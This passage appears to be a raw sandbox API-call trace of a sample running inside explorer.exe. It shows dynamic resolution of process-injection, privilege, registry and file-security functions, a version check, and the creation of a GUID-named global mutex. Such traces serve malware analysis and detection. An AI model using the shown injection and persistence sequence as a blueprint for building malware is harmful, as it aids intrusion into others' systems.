lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.408] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.408] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0301.408] lstrlenA (lpString="MoveFileA") returned 9 [0301.408] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.408] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.408] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0301.408] lstrlenA (lpString="LocalFree") returned 9 [0301.411] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.411] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.411] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0301.411] lstrlenA (lpString="CreateDirectoryA") returned 16 [0301.411] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.411] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x16) returned 0x458f6b0 [0301.412] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0301.412] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0301.412] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.412] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.412] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0301.412] lstrlenA (lpString="CreateThread") returned 12 [0301.412] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.412] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xb) returned 0x458f6b0 [0301.412] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0301.412] lstrlenA (lpString="OpenThread") returned 10 [0301.412] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.412] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x1a) returned 0x458f6b0 [0301.412] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0301.412] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0301.412] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.413] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.413] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0301.413] lstrlenA (lpString="VirtualProtectEx") returned 16 [0301.413] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.413] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.413] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0301.413] lstrlenA (lpString="GetFileAttributesW") returned 18 [0301.413] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.413] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.413] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0301.413] lstrlenA (lpString="FindResourceA") returned 13 [0301.413] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.413] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.414] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0301.414] lstrlenA (lpString="SizeofResource") returned 14 [0301.414] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.414] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.414] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0301.414] lstrlenA (lpString="LoadResource") returned 12 [0301.414] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.414] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.414] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0301.414] lstrlenA (lpString="CreateProcessW") returned 14 [0301.414] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.414] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x17) returned 0x458f6b0 [0301.414] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0301.415] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0301.415] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.415] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x1b) returned 0x458f6b0 [0301.415] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0301.415] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0301.415] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.415] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.415] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0301.415] lstrlenA (lpString="GetThreadContext") returned 16 [0301.415] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.415] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.415] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0301.415] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x19) returned 0x458f6c8 [0301.416] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0301.416] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0301.416] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.416] lstrlenA (lpString="ntdll.dll") returned 9 [0301.416] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.416] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.416] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0301.416] lstrlenA (lpString="RtlGetVersion") returned 13 [0301.416] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.416] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.416] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0301.416] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x16) returned 0x458f6c8 [0301.417] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0301.417] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0301.417] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.417] lstrlenA (lpString="advapi32.dll") returned 12 [0301.417] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.417] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.417] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0301.417] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0301.417] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.417] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x10) returned 0x458f6b0 [0301.417] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0301.417] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0301.417] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.418] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.418] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0301.418] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0301.418] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.418] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.418] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0301.418] lstrlenA (lpString="RegEnumValueA") returned 13 [0301.418] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.419] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6b0 [0301.419] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0301.419] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0301.419] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.419] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.419] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0301.419] lstrlenA (lpString="RegSetValueExA") returned 14 [0301.420] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.420] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.420] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0301.420] lstrlenA (lpString="RegQueryValueExA") returned 16 [0301.420] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.420] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.420] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0301.420] lstrlenA (lpString="RegCloseKey") returned 11 [0301.420] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.420] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x10) returned 0x458f6b0 [0301.420] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0301.420] lstrlenA (lpString="RegDeleteValueA") returned 15 [0301.420] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.420] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x19) returned 0x458f6b0 [0301.421] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0301.421] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0301.421] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.421] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.421] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0301.421] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0301.421] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.421] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x16) returned 0x458f6b0 [0301.421] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0301.421] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0301.421] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.421] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x11) returned 0x458f6b0 [0301.421] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0301.422] lstrlenA (lpString="SetFileSecurityW") returned 16 [0301.422] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.422] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x8) returned 0x458f6b0 [0301.422] GetProcAddress (hModule=0x77230000, lpProcName="FreeSid") returned 0x7724fa80 [0301.422] lstrlenA (lpString="FreeSid") returned 7 [0301.422] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.422] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x12) returned 0x458f6b0 [0301.422] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidA") returned 0x772750b0 [0301.422] lstrlenA (lpString="LookupAccountSidA") returned 17 [0301.422] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.422] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x12) returned 0x458f6b0 [0301.422] GetProcAddress (hModule=0x77230000, lpProcName="LookupAccountSidW") returned 0x7724f100 [0301.422] lstrlenA (lpString="LookupAccountSidW") returned 17 [0301.422] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.422] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x15) returned 0x458f6b0 [0301.423] GetProcAddress (hModule=0x77230000, lpProcName="CreateProcessAsUserW") returned 0x77250690 [0301.423] lstrlenA (lpString="CreateProcessAsUserW") returned 20 [0301.423] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.423] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.423] LoadLibraryA (lpLibFileName="shell32.dll") returned 0x74720000 [0301.423] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xe) returned 0x458f6c8 [0301.423] GetProcAddress (hModule=0x74720000, lpProcName="ShellExecuteW") returned 0x748842e0 [0301.423] lstrlenA (lpString="ShellExecuteW") returned 13 [0301.423] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.423] lstrlenA (lpString="shell32.dll") returned 11 [0301.423] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.423] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xb) returned 0x458f6b0 [0301.423] LoadLibraryA (lpLibFileName="user32.dll") returned 0x76850000 [0301.423] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6c8 [0301.424] GetProcAddress (hModule=0x76850000, lpProcName="EnumWindows") returned 0x7686a3c0 [0301.424] lstrlenA (lpString="EnumWindows") returned 11 [0301.424] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.424] lstrlenA (lpString="user32.dll") returned 10 [0301.424] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.424] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6b0 [0301.424] LoadLibraryA (lpLibFileName="shlwapi.dll") returned 0x76bd0000 [0301.424] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x9) returned 0x458f6c8 [0301.424] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIA") returned 0x76be8370 [0301.425] lstrlenA (lpString="StrStrIA") returned 8 [0301.425] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.425] lstrlenA (lpString="shlwapi.dll") returned 11 [0301.425] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.425] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x9) returned 0x458f6b0 [0301.426] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrIW") returned 0x76be4390 [0301.426] lstrlenA (lpString="StrStrIW") returned 8 [0301.426] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.426] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x9) returned 0x458f6b0 [0301.426] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpIW") returned 0x76be1660 [0301.426] lstrlenA (lpString="StrCmpIW") returned 8 [0301.426] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.426] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.426] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineA") returned 0x76bebf40 [0301.426] lstrlenA (lpString="PathCombineA") returned 12 [0301.426] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.426] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.427] GetProcAddress (hModule=0x76bd0000, lpProcName="PathCombineW") returned 0x76be8890 [0301.427] lstrlenA (lpString="PathCombineW") returned 12 [0301.427] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.427] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.427] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecA") returned 0x76bec2a0 [0301.427] lstrlenA (lpString="PathMatchSpecA") returned 14 [0301.427] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.427] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xf) returned 0x458f6b0 [0301.427] GetProcAddress (hModule=0x76bd0000, lpProcName="PathMatchSpecW") returned 0x76bec300 [0301.427] lstrlenA (lpString="PathMatchSpecW") returned 14 [0301.427] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.427] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x13) returned 0x458f6b0 [0301.427] GetProcAddress (hModule=0x76bd0000, lpProcName="PathUnquoteSpacesW") returned 0x76be4a50 [0301.427] lstrlenA (lpString="PathUnquoteSpacesW") returned 18 [0301.427] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.428] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x9) returned 0x458f6b0 [0301.428] GetProcAddress (hModule=0x76bd0000, lpProcName="StrTrimW") returned 0x76be7300 [0301.428] lstrlenA (lpString="StrTrimW") returned 8 [0301.428] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.428] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xa) returned 0x458f6b0 [0301.428] GetProcAddress (hModule=0x76bd0000, lpProcName="StrCmpNIA") returned 0x76beca70 [0301.428] lstrlenA (lpString="StrCmpNIA") returned 9 [0301.428] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.428] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x8) returned 0x458f6b0 [0301.428] GetProcAddress (hModule=0x76bd0000, lpProcName="StrStrW") returned 0x76be7850 [0301.428] lstrlenA (lpString="StrStrW") returned 7 [0301.428] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.428] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6b0 [0301.428] LoadLibraryA (lpLibFileName="setupapi.dll") returned 0x76430000 [0301.436] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x16) returned 0x458f6c8 [0301.436] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiEnumDeviceInfo") returned 0x76448a60 [0301.436] lstrlenA (lpString="SetupDiEnumDeviceInfo") returned 21 [0301.436] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6c8 | out: hHeap=0x4510000) returned 1 [0301.436] lstrlenA (lpString="setupapi.dll") returned 12 [0301.436] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.436] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x1d) returned 0x458f6b0 [0301.436] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiDestroyDeviceInfoList") returned 0x76448640 [0301.436] lstrlenA (lpString="SetupDiDestroyDeviceInfoList") returned 28 [0301.436] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.436] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x15) returned 0x458f6b0 [0301.437] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetClassDevsA") returned 0x76458af0 [0301.437] lstrlenA (lpString="SetupDiGetClassDevsA") returned 20 [0301.437] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.437] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x22) returned 0x458f6b0 [0301.437] GetProcAddress (hModule=0x76430000, lpProcName="SetupDiGetDeviceRegistryPropertyA") returned 0x764580f0 [0301.437] lstrlenA (lpString="SetupDiGetDeviceRegistryPropertyA") returned 33 [0301.437] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6b0 | out: hHeap=0x4510000) returned 1 [0301.437] GetCurrentProcess () returned 0xffffffff [0301.439] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x28afdac | out: TokenHandle=0x28afdac*=0x2d0) returned 1 [0301.439] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x28afd8c | out: TokenInformation=0x0, ReturnLength=0x28afd8c) returned 0 [0301.439] GetLastError () returned 0x7a [0301.439] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x24) returned 0x458f6b0 [0301.439] GetTokenInformation (in: TokenHandle=0x2d0, TokenInformationClass=0x1, TokenInformation=0x458f6b0, TokenInformationLength=0x24, ReturnLength=0x28afda8 | out: TokenInformation=0x458f6b0, ReturnLength=0x28afda8) returned 1 [0301.439] CloseHandle (hObject=0x2d0) returned 1 [0301.439] GetModuleHandleA (lpModuleName="kernel32") returned 0x74560000 [0301.440] GetProcAddress (hModule=0x74560000, lpProcName="IsWow64Process") returned 0x74575a20 [0301.440] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28f2140, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\explorer.exe" (normalized: "c:\\windows\\syswow64\\explorer.exe")) returned 0x20 [0301.440] GetVersionExA (in: lpVersionInformation=0x28f08e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x28f08e0*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0301.448] lstrlenA (lpString="xafpqko") returned 7 [0301.448] lstrlenA (lpString=".") returned 1 [0301.448] lstrlenA (lpString="q") returned 1 [0301.448] lstrlenA (lpString="b") returned 1 [0301.448] lstrlenA (lpString="1") returned 1 [0301.448] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xc) returned 0x458f6e0 [0301.448] lstrcatA (in: lpString1="", lpString2="xafpqko" | out: lpString1="xafpqko") returned="xafpqko" [0301.448] lstrcatA (in: lpString1="xafpqko", lpString2="." | out: lpString1="xafpqko.") returned="xafpqko." [0301.448] lstrcatA (in: lpString1="xafpqko.", lpString2="q" | out: lpString1="xafpqko.q") returned="xafpqko.q" [0301.449] lstrcatA (in: lpString1="xafpqko.q", lpString2="b" | out: lpString1="xafpqko.qb") returned="xafpqko.qb" [0301.449] lstrcatA (in: lpString1="xafpqko.qb", lpString2="1" | out: lpString1="xafpqko.qb1") returned="xafpqko.qb1" [0301.449] lstrlenA (lpString="xafpqko.qb1") returned 11 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] lstrlenA (lpString="user32.dll") returned 10 [0301.449] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x47) returned 0x458f6f8 [0301.449] _vsnprintf (in: _DstBuf=0x28afd78, _MaxCount=0x28, _Format="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}", _ArgList=0x28af318 | out: _DstBuf="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0301.449] lstrlenA (lpString="{%02X%02X%02X%02X-%02X%02X-%02X%02X-%02X%02X-%02X%02X%02X%02X%02X%02X}") returned 70 [0301.449] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.449] lstrlenA (lpString="Global") returned 6 [0301.449] lstrlenA (lpString="\\") returned 1 [0301.449] lstrlenA (lpString="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 38 [0301.449] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0x2e) returned 0x458f6f8 [0301.450] lstrcatA (in: lpString1="", lpString2="Global" | out: lpString1="Global") returned="Global" [0301.450] lstrcatA (in: lpString1="Global", lpString2="\\" | out: lpString1="Global\\") returned="Global\\" [0301.450] lstrcatA (in: lpString1="Global\\", lpString2="{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" | out: lpString1="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}" [0301.450] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=1, lpName="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 0x2d0 [0301.450] GetLastError () returned 0x0 [0301.450] lstrlenA (lpString="Global\\{A2BFDB87-353A-4FF0-949C-48D58EAD9552}") returned 45 [0301.450] HeapFree (in: hHeap=0x4510000, dwFlags=0x0, lpMem=0x458f6f8 | out: hHeap=0x4510000) returned 1 [0301.450] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, Size=0xd) returned 0x458f6f8 [0301.450] RtlAllocateHeap (HeapHandle=0x4510000, Flags=0x8, 